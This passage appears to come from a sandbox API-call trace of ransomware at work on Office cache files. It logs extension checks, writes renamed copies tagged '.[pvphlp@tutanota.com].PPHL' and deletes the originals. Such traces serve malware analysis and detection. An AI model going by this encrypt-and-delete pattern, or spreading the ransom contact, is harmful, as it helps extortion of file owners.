lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.428] SetEndOfFile (hFile=0x1b8) returned 1 [0061.428] CloseHandle (hObject=0x1b8) returned 1 [0061.435] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.435] SetEndOfFile (hFile=0x198) returned 1 [0061.440] CloseHandle (hObject=0x198) returned 1 [0061.441] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0061.441] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 1 [0061.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0061.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0061.441] lstrlenW (lpString=".doc") returned 4 [0061.441] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.441] lstrlenW (lpString=".docx") returned 5 [0061.441] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0061.441] lstrlenW (lpString=".pdf") returned 4 [0061.441] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.441] lstrlenW (lpString=".xls") returned 4 [0061.441] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.441] lstrlenW (lpString=".xlsx") returned 5 [0061.441] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0061.441] lstrlenW (lpString=".ppt") returned 4 [0061.441] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0061.442] lstrlenW (lpString=".zip") returned 4 [0061.442] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.442] lstrlenW (lpString=".rar") returned 4 [0061.442] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.442] lstrlenW (lpString=".bz2") returned 4 [0061.442] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.442] lstrlenW (lpString=".7z") returned 3 [0061.442] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0061.442] lstrlenW (lpString=".dbf") returned 4 [0061.442] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0061.442] lstrlenW (lpString=".1cd") returned 4 [0061.442] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0061.442] lstrlenW (lpString=".jpg") returned 4 [0061.442] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0061.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0061.442] lstrlenW (lpString=".doc") returned 4 [0061.442] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.442] lstrlenW (lpString=".docx") returned 5 [0061.442] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0061.442] lstrlenW (lpString=".pdf") returned 4 [0061.442] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.442] lstrlenW (lpString=".xls") returned 4 [0061.442] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.442] lstrlenW (lpString=".xlsx") returned 5 [0061.442] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0061.442] lstrlenW (lpString=".ppt") returned 4 [0061.442] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0061.442] lstrlenW (lpString=".zip") returned 4 [0061.442] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.442] lstrlenW (lpString=".rar") returned 4 [0061.443] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.443] lstrlenW (lpString=".bz2") returned 4 [0061.443] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.443] lstrlenW (lpString=".7z") returned 3 [0061.443] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.443] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0061.443] lstrlenW (lpString=".dbf") returned 4 [0061.443] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.443] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0061.443] lstrlenW (lpString=".1cd") returned 4 [0061.443] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.443] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0061.443] lstrlenW (lpString=".jpg") returned 4 [0061.443] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.443] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0061.443] lstrlenW (lpString="AccessMUISet.xml") returned 16 [0061.443] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.443] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=819) returned 1 [0061.443] CloseHandle (hObject=0x198) returned 1 [0061.444] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 0x2020 [0061.444] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0061.444] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.444] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.444] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.444] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0061.444] GetLastError () returned 0x0 [0061.444] ReadFile (in: hFile=0x198, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x333, lpOverlapped=0x0) returned 1 [0061.693] WriteFile (in: hFile=0x1b8, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x340, lpOverlapped=0x0) returned 1 [0061.694] ReadFile (in: hFile=0x198, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.694] WriteFile (in: hFile=0x1b8, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0061.694] SetEndOfFile (hFile=0x1b8) returned 1 [0061.694] CloseHandle (hObject=0x1b8) returned 1 [0061.695] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.695] SetEndOfFile (hFile=0x198) returned 1 [0061.696] CloseHandle (hObject=0x198) returned 1 [0061.696] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0061.696] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 1 [0061.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0061.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0061.697] lstrlenW (lpString=".doc") returned 4 [0061.697] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.697] lstrlenW (lpString=".docx") returned 5 [0061.697] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0061.697] lstrlenW (lpString=".pdf") returned 4 [0061.697] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.697] lstrlenW (lpString=".xls") returned 4 [0061.697] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.697] lstrlenW (lpString=".xlsx") returned 5 [0061.697] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0061.697] lstrlenW (lpString=".ppt") returned 4 [0061.697] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0061.697] lstrlenW (lpString=".zip") returned 4 [0061.697] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.697] lstrlenW (lpString=".rar") returned 4 [0061.697] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.697] lstrlenW (lpString=".bz2") returned 4 [0061.697] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.697] lstrlenW (lpString=".7z") returned 3 [0061.697] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0061.697] lstrlenW (lpString=".dbf") returned 4 [0061.697] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0061.697] lstrlenW (lpString=".1cd") returned 4 [0061.697] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0061.697] lstrlenW (lpString=".jpg") returned 4 [0061.697] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.698] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0061.698] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0061.698] lstrlenW (lpString=".doc") returned 4 [0061.698] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.698] lstrlenW (lpString=".docx") returned 5 [0061.698] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0061.698] lstrlenW (lpString=".pdf") returned 4 [0061.698] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.698] lstrlenW (lpString=".xls") returned 4 [0061.698] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.698] lstrlenW (lpString=".xlsx") returned 5 [0061.698] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0061.698] lstrlenW (lpString=".ppt") returned 4 [0061.698] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.698] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0061.698] lstrlenW (lpString=".zip") returned 4 [0061.698] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.698] lstrlenW (lpString=".rar") returned 4 [0061.698] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.698] lstrlenW (lpString=".bz2") returned 4 [0061.698] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.698] lstrlenW (lpString=".7z") returned 3 [0061.698] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.698] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0061.698] lstrlenW (lpString=".dbf") returned 4 [0061.698] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.698] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0061.698] lstrlenW (lpString=".1cd") returned 4 [0061.698] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.698] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0061.698] lstrlenW (lpString=".jpg") returned 4 [0061.698] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.699] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0061.699] lstrlenW (lpString="ProPlusrWW.xml") returned 14 [0061.699] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0061.782] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=16852) returned 1 [0061.797] CloseHandle (hObject=0x1d4) returned 1 [0061.797] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 0x2020 [0061.813] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0061.813] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0061.820] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.821] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.821] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0061.821] GetLastError () returned 0x0 [0061.821] ReadFile (in: hFile=0x1d4, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x41d4, lpOverlapped=0x0) returned 1 [0061.824] WriteFile (in: hFile=0x194, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0061.825] ReadFile (in: hFile=0x1d4, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.826] WriteFile (in: hFile=0x194, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0061.826] SetEndOfFile (hFile=0x194) returned 1 [0061.826] CloseHandle (hObject=0x194) returned 1 [0061.833] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.833] SetEndOfFile (hFile=0x1d4) returned 1 [0061.859] CloseHandle (hObject=0x1d4) returned 1 [0061.859] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0061.860] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 1 [0061.860] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0061.860] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0061.860] lstrlenW (lpString=".doc") returned 4 [0061.860] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.860] lstrlenW (lpString=".docx") returned 5 [0061.860] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0061.860] lstrlenW (lpString=".pdf") returned 4 [0061.860] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.860] lstrlenW (lpString=".xls") returned 4 [0061.860] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.860] lstrlenW (lpString=".xlsx") returned 5 [0061.860] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0061.860] lstrlenW (lpString=".ppt") returned 4 [0061.860] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.860] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0061.860] lstrlenW (lpString=".zip") returned 4 [0061.860] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.860] lstrlenW (lpString=".rar") returned 4 [0061.861] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.861] lstrlenW (lpString=".bz2") returned 4 [0061.861] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.861] lstrlenW (lpString=".7z") returned 3 [0061.861] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0061.861] lstrlenW (lpString=".dbf") returned 4 [0061.861] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0061.861] lstrlenW (lpString=".1cd") returned 4 [0061.861] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0061.861] lstrlenW (lpString=".jpg") returned 4 [0061.861] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0061.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0061.861] lstrlenW (lpString=".doc") returned 4 [0061.861] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.861] lstrlenW (lpString=".docx") returned 5 [0061.861] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0061.861] lstrlenW (lpString=".pdf") returned 4 [0061.861] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.861] lstrlenW (lpString=".xls") returned 4 [0061.861] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.861] lstrlenW (lpString=".xlsx") returned 5 [0061.861] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0061.861] lstrlenW (lpString=".ppt") returned 4 [0061.862] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.862] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0061.862] lstrlenW (lpString=".zip") returned 4 [0061.862] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.862] lstrlenW (lpString=".rar") returned 4 [0061.862] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.862] lstrlenW (lpString=".bz2") returned 4 [0061.862] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.862] lstrlenW (lpString=".7z") returned 3 [0061.862] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.862] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0061.862] lstrlenW (lpString=".dbf") returned 4 [0061.862] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.862] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0061.862] lstrlenW (lpString=".1cd") returned 4 [0061.862] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.862] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0061.862] lstrlenW (lpString=".jpg") returned 4 [0061.862] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.862] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0061.862] lstrlenW (lpString="Setup.xml") returned 9 [0061.862] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0061.863] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=16683) returned 1 [0061.863] CloseHandle (hObject=0x1d4) returned 1 [0061.863] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0061.863] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0061.863] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0061.863] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.863] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.863] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0061.864] GetLastError () returned 0x0 [0061.864] ReadFile (in: hFile=0x1d4, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x412b, lpOverlapped=0x0) returned 1 [0061.867] WriteFile (in: hFile=0x194, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, 